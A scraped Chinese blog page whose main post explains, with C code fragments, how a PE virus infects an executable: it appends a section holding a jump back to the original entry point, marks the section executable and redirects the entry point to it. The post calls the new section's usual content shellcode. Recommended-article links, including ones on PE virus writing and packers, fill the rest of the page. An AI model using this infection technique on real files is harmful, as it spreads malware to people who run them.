AddSection

Spire.Doc 教程:在C#,VB.NET创建、编辑和保存Word Spire.Doc 是一个MS Word 组件,使用户可以直接执行各种Word文档处理任务,本教程讲述了如何在C#,VB.NET创建、编辑和保存Word. 阅读详情
 

PE感染,古老的话题!好久不玩感染,连最基本的添加新节的方式都迷糊了,遂巩固基本功,重新捡起来学习.
PE的那堆结构应该再熟悉不过了,略过.总结几个重点:

    ----------------------------------------------------------------------------
     NewSection.VirtualAddress   ┐
     NewSection.Misc.VirtualSize ┘定位 内存中 下个节的地址

     NewSection.SizeOfRawData      ┐
     NewSection.PointerToRawData ┘定位 磁盘中 下个节的地址

     OptionalHeader.SizeOfImage - 内存中整个PE的大小
     OptionalHeader.SizeOfCode   - 磁盘中整个代码块的大小
    ----------------------------------------------------------------------------

就下面几步,别人问你最基本的病毒感染方式时,你可别答漏了哦:
    ──────
      ︳ sudami ︳
      ︳08/08/28 ︳
      ──────

1.增加新节 - 定位到文件的最后,写入新节的内容length,末尾要增加5字节数据"jmp OEP"
    BYTE jmp = 0xE9;
    OEP = OEP-(NewSection.VirtualAddress+length)-5;
    fwrite(&jmp, sizeof(jmp), 1, newfile);
    fwrite(&OEP, sizeof(OEP), 1, newfile);

计算length在文件中的对齐大小,剩余部分填0
    for(i=0;i<alig(length,FILE_ALIG)-length-5;i++) {
    fputc('/0',newfile);
    }

2.增加新节表 - 有5处要填写的地方:
节表名、该节的磁盘偏移量、该节的磁盘大小、该节对齐后的内存大小、该节属性

    strcpy((char*)NewSection.Name,".sudami");
    NewSection.PointerToRawData = LastSectionTable.PointerToRawData+LastSectionTable.SizeOfRawData;
    NewSection.SizeOfRawData = alig(length,FILE_ALIG);
    NewSection.Misc.VirtualSize = length;
    NewSection.Characteristics = 0xE0000020; //新区块可读可写可执行

3.最后该修正可选头中的几个参数值了:
    int nNewImageSize = NThea.OptionalHeader.SizeOfImage + alig(length,SECTION_ALIG);
    int nNewSizeofCode = NThea.OptionalHeader.SizeOfCode + alig(length,FILE_ALIG);
    // 绑定输入,还是修改下比较好
    NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0;
    NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0;
    NThea.OptionalHeader.SizeOfCode   = nNewSizeofCode; // 修正磁盘中整个代码块的大小
    NThea.OptionalHeader.SizeOfImage = nNewImageSize;   // 修正内存中整个PE的大小
    NThea.FileHeader.NumberOfSections = nOldSectionNo+1; // 节表数加1
    NThea.OptionalHeader.AddressOfEntryPoint=NewSection.VirtualAddress; // 修改OEP

OK,新节的内容多数时候是shellcode吧,一般很简单的.嘿嘿...

windows 加壳工具代码实现01 - 整体项目流程梳理 本文摘要: 该文档描述了一个EXE文件加壳工具的实现流程,主要分为三个阶段:1)加壳器初始化PE结构;2)加壳阶段通过Pack.cpp核心函数对原程序代码段加密,提取Stub.dll的壳代码模板并注入目标文件;3)运行阶段由Stub壳代码动态解密并跳转至原程序OEP。整个过程涉及三个关键组件:用户界面(12.GrkProDlg.cpp)作为操作入口,Stub.cpp作为核心保护逻辑,Stub.dll作为代码模板载体,三者通过Pack.cpp协调完成加壳过程。加壳器主要功能包括PE结构修改、代码加密、重定位修 阅读详情

相关推荐

06302961vc_add_section.rar

06302961vc_add_section.rar06302961vc_add_section.rar

【python-docx】对文档的操作的 add_section() 和 add_page_break() 区别

对python-docx中文档的add_page_break()和add_section()的理解

qq_50256790的博客 2606

用Python的fengwo模块复刻通达信筹码峰(COST/WINNER),选股效率提升10倍

本文介绍了如何使用Python的fengwo模块高效复刻通达信的筹码峰(COST/WINNER)计算,显著提升选股效率。通过C++内核与多线程优化,fengwo模块将传统Python实现的数小时计算压缩至分钟级,解决了量化交易中的性能瓶颈问题。文章详细解析了筹码峰计算原理、fengwo模块的技术架构及实战应用,助力量化开发者构建高效选股系统。

weixin_29062823的博客 438

Qt应用开发(基础篇)——菜单 QMenu

QMenu类继承于QWidget,它提供了一个菜单样式的小部件,用于菜单栏、上下文菜单和一些弹出式菜单。QMenu菜单的选项是可选的,它可以是一个下拉的菜单,也可以是独立的上下文菜单。下拉菜单通常作用于当用户单击相应的项目或按下指定的快捷键时,使用QMenuBar::addMenu()将菜单插入到菜单栏中,菜单栏将显示下拉菜单。上下文菜单通常通过一些特殊的键盘键或右键来调用。它们可以用popup()异步执行,也可以用exec()同步执行。当然菜单也可以在一些触发事件中调用,比如按下按钮时。QMenu。

波塞冬的博客 8888

GD32F105RBT6 keil工程模板

创建GD32F105RBT6的keil初始基础工程,未来的所有外设驱动都是基于这个基础工程进行扩展。

RMDYBW的博客 1927

Anti-UAV 反无人机大赛数据集处理脚本(1)标签转换为YOLO格式

【代码】Anti-UAV 反无人机大赛数据集处理脚本(1)标签转换为YOLO格式。

qq_45937329的博客 534

python-docx add_section 分栏不换页

python-docx add_section 分栏不换页

qq1261275789的博客 1503

Unity热更实战:用YooAsset+HybridCLR实现小游戏资源与代码双更新(含避坑清单)

本文详细介绍了Unity小游戏开发中如何通过YooAsset与HybridCLR实现资源与代码双热更新方案。内容涵盖环境配置、架构设计、微信小游戏专项优化、热更代码工程化实践及真机调试技巧,帮助开发者解决审核周期长、紧急修复等痛点,提升更新效率与稳定性。

weixin_42520025的博客 502

Pyside6 菜单QMenu、动作QAction、QWidgetAction及菜单栏QMenuBar

在应用程序中,许多常用命令可以通过菜单、工具栏按钮和键盘快捷键调用。由于用户希望以相同的方式执行每个命令,而不管使用什么用户界面,因此将每个命令表示为一个操作是有用的。可以将操作添加到用户界面元素,如菜单和工具栏,并自动保持UI同步。例如,在文字处理器中,如果用户按下“Bold”工具栏按钮,粗体动作项将自动被选中。一个QAction可能包含一个图标,描述性文本,图标文本,一个键盘快捷键,状态文本,“what‘s This’?”文本和工具提示。

love_songming的博客 5683

电源完整性必看!用SIwave提取PDN阻抗曲线的3个关键设置与常见报错解决

本文深入探讨了在SIwave中进行电源完整性(PI)仿真时,提取PDN阻抗曲线的三个核心设置要点。重点解析了端口阻抗设为0.1欧姆的物理意义与SYZ参数仿真中的阻抗匹配原则,并提供了针对常见收敛性问题和模型误差的实战排查思路,旨在帮助工程师获得更精确可靠的仿真结果,为去耦电容优化提供依据。

b9c0d的博客 352

完整复盘【避雷jd文职某岗位】潍坊青州hhj(据说未来搬到天津),助理实验师岗位,三人进面,面试全部不及格,空头岗位!像这种情况,该单位很多 | 附个人完整备考背诵题目 | 世间一场梦,不会再考这个了

本文以博主本人报考jun dui文职,从报考、备考、考试、查成绩到资格审查、面试,全程亲身经历,给想要报考该内容的朋友们一些小的参考。祝你顺利上岸!完整复盘【避雷jd文职某岗位】潍坊青州hhj(据说未来搬到天津),助理实验师岗位,三人进面,面试全部不及格,空头岗位!像这种情况,该单位很多 | 附个人完整备考背诵题目 | 世间一场梦,不会再考这个了

追光者♂:记录、分享、总结、提升,现象级专栏《Python从入门到人工智能》作者,无惧黑暗,坚信曙光 247

QMenu+QSS菜单美化

关键代码设置//自定义阴影。

qq_40170041的博客 297

Logstash安装部署

1. 部署及安装所用的用户不能是root。

lmj3732018的博客 4294

java 读取txt文件生成word文档

做任何事情都要用心,要非常关注细节。看起来不起眼的、繁琐的工作做透了会有意想不到的价值。当然要想成为一个技术大牛也需要一定的思想格局,思想决定未来你要往哪个方向去走, 建议多看一些人生规划方面的书籍,多学习名人的思想格局,未来你的路会走的更远。更多的技术点思维导图我已经做了一个整理,涵盖了当下互联网最流行99%的技术点,在这里我将这份导图分享出来,以及为金九银十准备的一整套面试体系,上到集合,下到分布式微服务式微服务**[外链图片转存中…(img-US5gRghp-1721136447897)]

2401_85377564的博客 1229

【一看就会】Autoware.universe中静态绕障路线的生成逻辑

在路径行为规划中,前期根据地图和起点终点,生成了一组连续可行的路径段序列(lanelets),然后后续路径行为规划,又会进行起始点,终止点,避障绕障路径的路径规划,并且会调用route_handler中的函数,进行中心线生成,最后生成路径,后续再给速度行为规划进行速度规划。在autoware.universe的规划中,是基于规则的规划,而其中的规则又是为了解决不同场景的。而这些场景,大部分是为了解决路上障碍物(静态、动态、行人、车辆等等)。

weixin_48386130的博客 321

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

关于PE病毒编写的学习(9)

原本这一篇应该和上一篇同时发,但是我的原来代码写得很烂,而且由于我的目标是编写一个“追加病毒”框架,代码又要具备良好的模块特征。这两天改来改去,已经头脑混乱了,所以还是先发文章把原来的代码挂上,有时间再改,我会配上说明。   另外提一句,我把一个bug写再AddSection这个函数里,很多教学码也故意写这个错误,这个错误本意是修改由于PE文件头的修改使“xx值”应适当变化,实际写入的是空位置,

bobopeng 743

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

如何给ScrollingStackViewController定制弹性动画:覆盖animate与scrollAnimate闭包的完整指南

ScrollingStackViewController 是 iOS 上一个轻量的滚动容器控件:它把子视图控制器的根视图放进 `UIStackView`,再用 `UIScrollView` 实现滚动,非常适合“少量、动态、富内容分区”的页面。刚集成时,默认的过渡动画偏“硬”,很多同学想把它调成更有弹性的效果——核心就在于本文的主角:覆盖 `animate` 与 `scrollAnimate` 两个

gitblog_00287的博客 645

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

9.制作List View的节头部

9.1 问题 需要创建一个有若干节内容的列表,其中每一节的顶部都有各自的头部。 9.2 解决方案 (API Level 1) 我们可以通过构建自定义列表适配器来实现此效果,此适配器利用了对多种视图类型的支持。适配器依赖getViewTypeCount()和getItemViewType()来确定将多少种视图用作列表中的行。在大多数情况下,如果所有的行类型相同,就忽略上述方法。然而,在此...

Jennyni1122的博客 210

Scrollify高级应用:构建多层滚动和动态内容的完整解决方案

Scrollify是一款强大的jQuery插件,专为辅助滚动和区块吸附功能设计,能帮助开发者轻松实现流畅的页面滚动体验。本文将深入探讨Scrollify的高级应用技巧,包括多层滚动效果实现、动态内容加载处理以及响应式设计适配,为你提供构建现代化滚动交互的完整解决方案。 ## 核心功能与安装指南 Scrollify的核心优势在于其简洁的API和强大的滚动控制能力。它允许你将页面分割为多个独立区块

gitblog_00722的博客 480

delphi 加壳原理与简单实现加壳

2.增加一段壳头xor $50的代码function AttachStart-function AttachEnd。AddShell()源自于前一段时间有写的addsection()新增区段代码,3.修改原启动代码入口点所在区段的段属性可写并进行xor $50运算加密。不支持addshell()处理已经过addshell的exe。这一段代码是先填充,再被修改成合适原EXE的壳头。在增加区段代码的基础上,追加了。1.修改启动入口点位置。

众纳百川的博客 571

加壳原理与简单实现加壳(delphi源码)

 {*****************************************************************AddShell()源自于前一段时间有写的addsection()新增区段代码,在增加区段代码的基础上,追加了1.修改启动入口点位置2.增加一段壳头xor $50的代码function AttachStart-function AttachEnd 这一段代码是先填充

编程资料收集与共享交流 859

Unity运行时调试面板开发指南:从原理到实战应用

在Unity游戏开发中,运行时调试是提升开发与测试效率的关键环节。其核心原理是通过构建一个内置于游戏运行时的可视化交互界面,实现对游戏参数的动态监控与调整,从而避免频繁的打包与部署。这项技术的核心价值在于其非侵入式的模块化设计,允许开发者以低代码耦合的方式,将调试功能集成到现有项目中,并通过数据绑定机制实现UI与游戏数据的实时同步。典型的应用场景包括移动设备真机测试、复杂系统参数调节(如角色属性、AI行为)以及性能数据监控。本文以热门的开源解决方案UnityDebugSheet为例,深入解析如何利用其丰富的

weixin_30333885的博客 305

关于PE病毒编写的学习(十)——追加病毒的编写(下)

  原本这一篇应该和上一篇同时发,但是我的原来代码写得很烂,而且由于我的目标是编写一个“追加病毒”框架,代码又要具备良好的模块特征。这两天改来改去,已经头脑混乱了,所以还是先发文章把原来的代码挂上,有时间再改,我会配上说明。  另外提一句,我把一个bug写再AddSection这个函数里,很多教学码也故意写这个错误,这个错误本意是修改由于PE文件头的修改使“xx值”应适当变化,实际写入的是空位置,这个值不应该变化,这个画蛇添足的行为会导致被感染文件出现一个对齐问题的错误,使系统认为它不是一个有效文件。自己独

蛛丝 2834

php数据导出到word为docx格式

在上面的示例中,我们首先引入了PHPWord库并创建了一个PHPWord对象。您可以在这里找到PHPWord的GitHub页面和文档:https://github.com/PHPOffice/PHPWord。您可以在这里找到PHPWord的GitHub页面和文档:https://github.com/PHPOffice/PHPWord。在上面的示例中,我们首先引入了PHPWord库,然后创建了一个PHPWord对象。在 PHP 中,我们可以使用PHPWord库将数据导出到Word为docx格式。

weixin_42317757的博客 1020

python读写配置文件_python读写ini配置文件

import ConfigParserimport osclass ReadWriteConfFile:currentDir=os.path.dirname(__file__)filepath=currentDir+os.path.sep+"inetMsgConfigure.ini"@staticmethoddef getConfigParser():cf=ConfigParser.ConfigP...

weixin_39548968的博客 95
上一篇: 搜素隐藏驱动的一个BSOD问题
下一篇: FSD's Inline Hook &amp; EAT modify check Completed
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值